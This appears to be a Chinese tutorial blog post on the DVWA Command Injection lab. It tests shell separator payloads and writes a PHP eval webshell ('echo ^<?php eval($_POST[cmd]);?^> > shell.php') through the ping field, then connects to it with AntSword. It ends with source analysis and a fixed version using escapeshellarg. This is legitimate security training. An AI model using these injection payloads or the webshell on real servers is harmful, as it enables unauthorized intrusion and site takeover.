DVWA 靶场之 Command Injection(命令执行)原理介绍、分隔符测试、后门写入与源码分析、修复建议

在打靶之前我们需要先解决一个乱码问题

参考我之前的博客:

关于DVWA靶场Command Injection(命令注入)乱码的解决方案-CSDN博客

简单介绍一下命令执行漏洞:

命令执行漏洞是一种常见的网络安全漏洞,它允许攻击者通过向应用程序发送恶意输入,执行任意系统命令或者其他恶意操作。这种漏洞通常存在于允许用户输入命令并将其传递给操作系统执行的应用程序中,比如Web应用程序中的表单、URL参数或者其他用户输入的地方。攻击者利用这种漏洞可以执行以下操作:

  1. 远程命令执行(RCE):攻击者可以通过发送特定的恶意输入,使目标应用程序执行远程服务器上的任意命令。这可能导致服务器被完全接管,或者在服务器上执行潜在破坏性的操作。

  2. 本地命令执行:攻击者可以在受影响的应用程序上执行本地系统命令,这可能导致攻击者获取敏感信息、修改系统配置或者执行其他恶意操作。

  3. Shell注入:攻击者通过注入恶意命令到受影响应用程序的命令行或者Shell环境中,从而执行未经授权的操作。

  4. 提权攻击:通过执行恶意命令,攻击者可以利用漏洞提升其在系统中的权限,从而获取更大的访问权限。

总的来说就是服务端没有对执行函数做严格过滤,导致我们可以插入恶意的命令并被执行。

我们还是先从最简单的开始,将难度等级设置为 Low

来到命令注入关卡,要求我们输入一个 ip 地址

这里输入本地回环地址进行测试,即 127.0.0.1

顺便给大家介绍一下这个回环地址:

本地回环地址(127.0.0.1)是指计算机网络中的一个特殊地址,代表设备的本地虚拟接口,不会受网络情况的变化而变化。它用于在同一台计算机内部进行通信,而不需要经过物理网络硬件,因此被默认视为永远不会宕掉的接口。实际上,除了 127.0.0.1 外,范围在127.0.0.2 到 127.255.255.254 之间的地址也是本地回环地址,可以用于同样的目的。

本地回环地址的作用包括:

1、测试本机的网络配置:通过向 127.0.0.1 发送数据包,可以验证本机的 IP 协议安装是否正常。

2、代替 localhost :在操作系统的配置文件中,通常将 localhost(本地主机名)与 127.0.0.1 绑定在一起,这样在应用程序中使用 localhost 时,实际上是在使用本地回环地址,用于访问本机上运行的网络服务和应用程序。

可以看到这里执行了 ping 127.0.0.1 的命令 

这个就和我们在终端执行 ping 命令是一样的,回显如下图:

至此我们可以大致判断这个页面的功能就是对我们输入的 ip 地址执行 ping 命令

但是我们是 hacker ,怎么能只限于执行一个 ping 命令呢

那么我们尝试一下是否还能执行其他命令

在此之前我们需要知道命令执行漏洞的原理:

在操作系统中,“ &、|、&&、|| ” 都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

上述的 “ & ” 和 “ | ” 都叫做命令执行分隔符,在 Linux 系统下,命令执行分隔符还包括 “ ; ”

即命令执行分隔符有:

windows:   &&  ||  &  | 
linux:   &&   ||   &  |    ;

顺便再说一下命令执行相关的函数,主要有:

exec()、system()、popen()、passthru()、proc_open()、pcntl_exec()、shell_exec()

本质就是命令执行函数将参数以 dos 、shell 执行

铺垫了这么多基础知识,我们直接上 payload:

在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami

127.0.0.1&whoami

 可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

如果这个看着不明显,那么我们执行一下其他命令试试,比如 ipconfig

(因为我这里的靶场是使用 Windows 系统搭建的,如果搭建在 Linux 环境下,则使用 ifconfig)

127.0.0.1&ipconfig

这次看着就很明显了吧,确实存在命令执行漏洞 

关于不同 payload 的测试: 

127.0.0.1&&ipconfig

与一个 & 的执行结果一样 (注意这是基于第一个为真的条件)

我们再看这个,ping myon 肯定为假 

myon&&ipconfig

由结果可以得出:当第一个命令执行失败(为假) 

那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)

我们再测试一个与

myon&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)

前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行

接下来我们测试或(||、|)

127.0.0.1|ipconfig
myon|ipconfig

对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令

127.0.0.1||ipconfig

对于两个或,前面为真,只执行前面的,后面命令没有执行

myon||ipconfig

若前面为假, 执行后面的,第二个命令被执行

对于 Linux 系统搭建的靶场,管道符效果同上 

这里补充分号(;)

127.0.0.1;ifconfig;cd ../../;ls;whoami等等

按顺序依次执行,分号前的命令执行完继续执行分号后的命令

因为我这里靶场是使用 Windows 系统搭建的因此无法使用分号来堆叠命令 

 最后我们尝试写入木马后门

首先使用 dir 命令查看当前目录下的文件

这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令

|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件

我们尝试写入一个名为 shell.php 的一句话木马文件

这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可

注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。

我们需要使用 ^ 符号进行转义

构造 payload :

127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

如果是写入当前目录下,也可以直接跟文件名即可

127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > shell.php

对于 Linux 系统则使用反斜杠 \ 进行转义 

webshell 后门写入成功 

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可。

查看木马内容

尝试进行调用 shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名

我们使用蚁剑进行连接

测试连接成功

添加后进入

直接拿下整个网站后台

 最后我们简单看一下题目源码:

<?phpif( isset( $_POST[ 'Submit' ]  ) ) {// Get input$target = $_REQUEST[ 'ip' ];// Determine OS and execute the ping command.if( stristr( php_uname( 's' ), 'Windows NT' ) ) {// Windows$cmd = shell_exec( 'ping  ' . $target );}else {// *nix$cmd = shell_exec( 'ping  -c 4 ' . $target );}// Feedback for the end userecho "<pre>{$cmd}</pre>";
}?>

主要存在的问题:

  1. 未对用户输入进行验证和过滤:代码中直接使用 $_REQUEST['ip'] 获取用户输入的 IP 地址,并没有对用户输入进行验证和过滤,这可能导致命令注入漏洞。攻击者可以通过输入恶意命令来执行任意系统命令,从而对服务器造成严重威胁。

  2. 未使用安全的命令执行函数:代码中使用了 shell_exec() 函数来执行系统命令,这是一个可执行命令的函数,存在安全风险。如果用户能够控制输入并输入恶意命令,就可能导致命令执行漏洞。

  3. 未对操作系统类型进行验证:代码中使用了 php_uname('s') 函数来确定操作系统类型,然后根据操作系统类型来选择执行的命令。但是这种方式并不可靠,攻击者可以伪造 HTTP 请求来改变 User-Agent,从而绕过这种检测机制。

修复加固后的代码:

<?phpif (isset($_POST['Submit'])) {// Get input$target = $_POST['ip'];// Validate user input to ensure it is a valid IP addressif (filter_var($target, FILTER_VALIDATE_IP)) {// Determine OS and execute the ping commandif (stristr(php_uname('s'), 'Windows NT')) {// Windows$cmd = shell_exec('ping ' . escapeshellarg($target));} else {// *nix$cmd = shell_exec('ping -c 4 ' . escapeshellarg($target));}// Feedback for the end userecho "<pre>{$cmd}</pre>";} else {// Invalid input, display error messageecho "Invalid IP address";}
}?>

  1. 使用 filter_var() 函数验证用户输入的 IP 地址,确保其是一个有效的 IP 地址。

  2. 使用 escapeshellarg() 函数对用户输入进行转义,以防止命令注入。

  3. 在命令执行前对用户输入进行验证,如果用户输入不是有效的 IP 地址,则显示错误消息。

对于命令执行漏洞的通用修复建议:

  1. 输入验证和过滤:严格验证和过滤所有用户输入,确保只接受预期的输入格式,拒绝所有非法字符和特殊字符。

  2. 避免使用可执行命令的函数:尽可能避免使用能够执行系统命令的函数,如 exec()system()shell_exec() 等,而是使用更安全的替代方案,如专门的库或内置函数。

  3. 最小权限原则:确保应用程序以最低权限来执行系统命令,避免使用过高的权限。限制应用程序的操作范围,仅提供必要的权限。

  4. 安全配置:对服务器和应用程序进行安全配置,关闭不必要的服务和功能,限制可执行命令的范围。确保操作系统和软件都及时更新,以修复已知的安全漏洞。

  5. 安全编程实践:在编写代码时,采用安全编程实践,如对用户输入进行验证、过滤和转义,不信任用户输入,避免硬编码敏感信息等。

  6. 输入输出分离:确保用户输入和系统命令之间有明确的分界线,不要将用户输入直接作为系统命令的一部分。

  7. 安全框架和工具:使用安全性较高的编程语言、框架和工具来开发应用程序,这些工具可能提供了内置的安全机制,能够有效地防止命令执行漏洞。

  8. 安全审计和漏洞扫描:定期进行安全审计和漏洞扫描,及时发现并修复潜在的安全漏洞。

本篇博客我只是以 Low 难度的为例,但其实我们已经讲到了其他难度的知识,我认为还是讲得很详细的,下篇博客我们继续进行 middle 和 high 难度的讲解演示与补充。

创作不易,期待大家的关注与支持!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2810153.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机网络】应用层自定义协议

自定义协议 一、为什么需要自定义协议&#xff1f;二、网络版计算器1. 基本要求2. 序列化和反序列化3. 代码实现&#xff08;1&#xff09;封装 socket&#xff08;2&#xff09;定制协议和序列化反序列化&#xff08;3&#xff09;客户端&#xff08;4&#xff09;计算器服务端…

SAP PO接口行项目json缺少中括号[]问题

PO接口小问题问题&#xff1a;如果需要同时传输DATA与ITEM&#xff0c;此处选择很重要&#xff0c;如果选择&#xff1a;HTTP Header ITEM将缺少[].需要注意 PO接口小问题 问题&#xff1a;如果需要同时传输DATA与ITEM&#xff0c;此处选择很重要&#xff0c;如果选择&#…

浏览器跨 Tab 窗口通信原理

前言 原文地址&#xff1a;浏览器跨 Tab 窗口通信原理及应用实践 作者是Chokcoco 一位css大牛。之前就从大佬的文章中学到了不少东西&#xff0c;最近大佬写了篇 浏览器跨 Tab 窗口通信原理及应用实践 感觉挺有意思的&#xff0c;自己打算学习记录一下。 文章中提出了三种方…

leetcode hot100 买卖股票的最佳时机二

注意&#xff0c;本题是针对股票可以进行多次交易&#xff0c;但是下次买入的时候必须保证上次买入的已经卖出才可以。 动态规划可以解决整个股票买卖系列问题。 dp数组含义&#xff1a; dp[i][0]表示第i天不持有股票的最大现金 dp[i][1]表示第i天持有股票的最大现金 递归公…

RestTemplate启动问题解决

⭐ 作者简介&#xff1a;码上言 ⭐ 代表教程&#xff1a;Spring Boot vue-element 开发个人博客项目实战教程 ⭐专栏内容&#xff1a;个人博客系统 ⭐我的文档网站&#xff1a;http://xyhwh-nav.cn/ RestTemplate启动问题解决 问题&#xff1a;在SpringCloud架构项目中配…

C++之多态

目录 一&#xff0c;概念等基础 1&#xff09;多态的定义 2&#xff09;虚函数 3&#xff09;构成多态的条件 4&#xff09;虚函数的作用 二&#xff0c;多态原理 1&#xff09;虚指针 2&#xff09;如何拿到这个虚指针 3&#xff09;到底如何实现多态 一&#xff0c;概…

Vue ElementUI 修改消息提示框样式—messageBox 的大小

在窄屏模式下&#xff08;移动端或pda&#xff09;&#xff0c;提示框的宽度太宽&#xff0c;会出现显示不完全的问题。 应当如何修改 ElementUI 的样式呢&#xff1f; open() {this.$confirm(window.vm.$i18n.t("tips.conLogOut"),window.vm.$i18n.t("tips.tip…

使用百度地图api根据输入的过个经纬度进行轨迹绘制并且可以标记

使用百度地图api根据输入的过个经纬度进行轨迹绘制并且可以标记 功能效果展示代码功能说明 功能效果展示 代码 <!DOCTYPE html> <html> <head><meta charset"utf-8"><title>根据经纬度绘制轨迹图</title><script type"…

K8S—集群调度

目录 前言 一 List-Watch 1.1 list-watch概述 1.2 list-watch工作机制 二 集群调度 2.1 调度过程 2.2 Predicate 和 Priorities 的常见算法和优先级选项 2.3 调度方式 三 亲和性 3.1 节点亲和性 3.2 Pod 亲和性 3.3 键值运算关系 3.4 Pod亲和性与反亲和性 3.5 示例…

golang学习1,dea的golang-1.22.0

参考&#xff1a;使用IDEA配置GO的开发环境备忘录-CSDN博客 1.下载All releases - The Go Programming Language (google.cn) 2.直接next 3.window环境变量配置 4.idea的go插件安装 5.新建go项目找不到jdk解决 https://blog.csdn.net/ouyang111222/article/details/1361657…

PCIE1—快速实现PCIE接口上下位机通信(一)

1.简介 PCI Express&#xff08;PCIE&#xff09;是一种高速串行总线标准&#xff0c;广泛应用于计算机系统中&#xff0c;用于连接主板和外部设备。在FPGA领域中&#xff0c;PCIE也被广泛应用于实现高速数据传输和通信。FPGA是一种灵活可编程的集成电路&#xff0c;可以根据需…

碳素光,碳光子,碳光灸 ,太阳灯 仪器

碳素光线疗法&#xff1a; 中西医、民间疗法融为一体&#xff0c;提高机体自身治愈力&#xff0c;免疫力&#xff0c;改善体质和保持健康&#xff0c;有助于疾病的预防和治疗的疗法。不吃药、不打针、不手术也能得健康&#xff0c;无任何副作用的自然物理疗法。 碳素光线仪市…

SCI一区 | Matlab实现ST-CNN-MATT基于S变换时频图和卷积网络融合多头自注意力机制的多特征分类预测

SCI一区 | Matlab实现ST-CNN-MATT基于S变换时频图和卷积网络融合多头自注意力机制的故障多特征分类预测 目录 SCI一区 | Matlab实现ST-CNN-MATT基于S变换时频图和卷积网络融合多头自注意力机制的故障多特征分类预测效果一览基本介绍模型描述程序设计参考资料 效果一览 基本介绍…

《Docker 简易速速上手小册》第8章 Docker 在企业中的应用(2024 最新版)

文章目录 8.1 Docker 在开发环境中的应用8.1.1 重点基础知识8.1.2 重点案例&#xff1a;Python Web 应用开发环境8.1.3 拓展案例 1&#xff1a;Python 数据分析环境8.1.4 拓展案例 2&#xff1a;Python 自动化测试环境 8.2 Docker 在生产环境的实践8.2.1 重点基础知识8.2.2 重点…

【嵌入式学习】IO进程线程day02.24

一、思维导图 二、习题 #define MSGSIZE sizeof(struct msgbuf)-sizeof(long) int main(int argc, const char *argv[]) {//创建子进程pid_t pidfork();//在父进程实现读功能if(pid>0){//1、创建key值key_t key 0;if((keyftok("/", k)) -1){perror("ftok …

【C++】STL容器之string(修改操作)

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

做了个很牛的网站,可以搜索网站的网站到底有多好用?

今天给大家推荐的网站叫做&#xff1a;毒蘑菇 - 搜索 毒蘑菇搜索&#xff0c;顾名思义呢&#xff0c;搜索的功能比较好用&#xff0c;大家上网的时候总是需要记住网站的地址&#xff0c;即使你知道网站的名称&#xff0c;也得跳转到百度然后在搜索&#xff0c;有时候百度上那么…

动态规划(算法竞赛、蓝桥杯)--最详细的01背包DP问题滚动数组优化

1、B站视频链接&#xff1a;E08【模板】背包DP 01背包_哔哩哔哩_bilibili 题目链接&#xff1a;[USACO07DEC] Charm Bracelet S - 洛谷 #include <bits/stdc.h> using namespace std; const int N3410,M13000; int n,m; int d[N],w[N],f[N][M];//价值、体积、状态数组 …

Java面试——锁

​ 公平锁&#xff1a; 是指多个线程按照申请锁的顺序来获取锁&#xff0c;有点先来后到的意思。在并发环境中&#xff0c;每个线程在获取锁时会先查看此锁维护的队列&#xff0c;如果为空&#xff0c;或者当前线程是等待队列的第一个&#xff0c;就占有锁&#xff0c;否则就会…

VB6添加资源文件总是内存溢出?最终我还是治好了这胎里病!

网管小贾 / sysadm.cc 说来也奇怪&#xff0c;话说不久前我刚刚解决了 VB6 释放资源文件的一个 BUG &#xff0c;心里正美滋滋的。 不料居然还有个巨大的 BUG 在后边等着我呢&#xff01; 真是不说不知道&#xff0c;一说吓一跳&#xff0c;十天找 BUG &#xff0c;N把辛酸泪…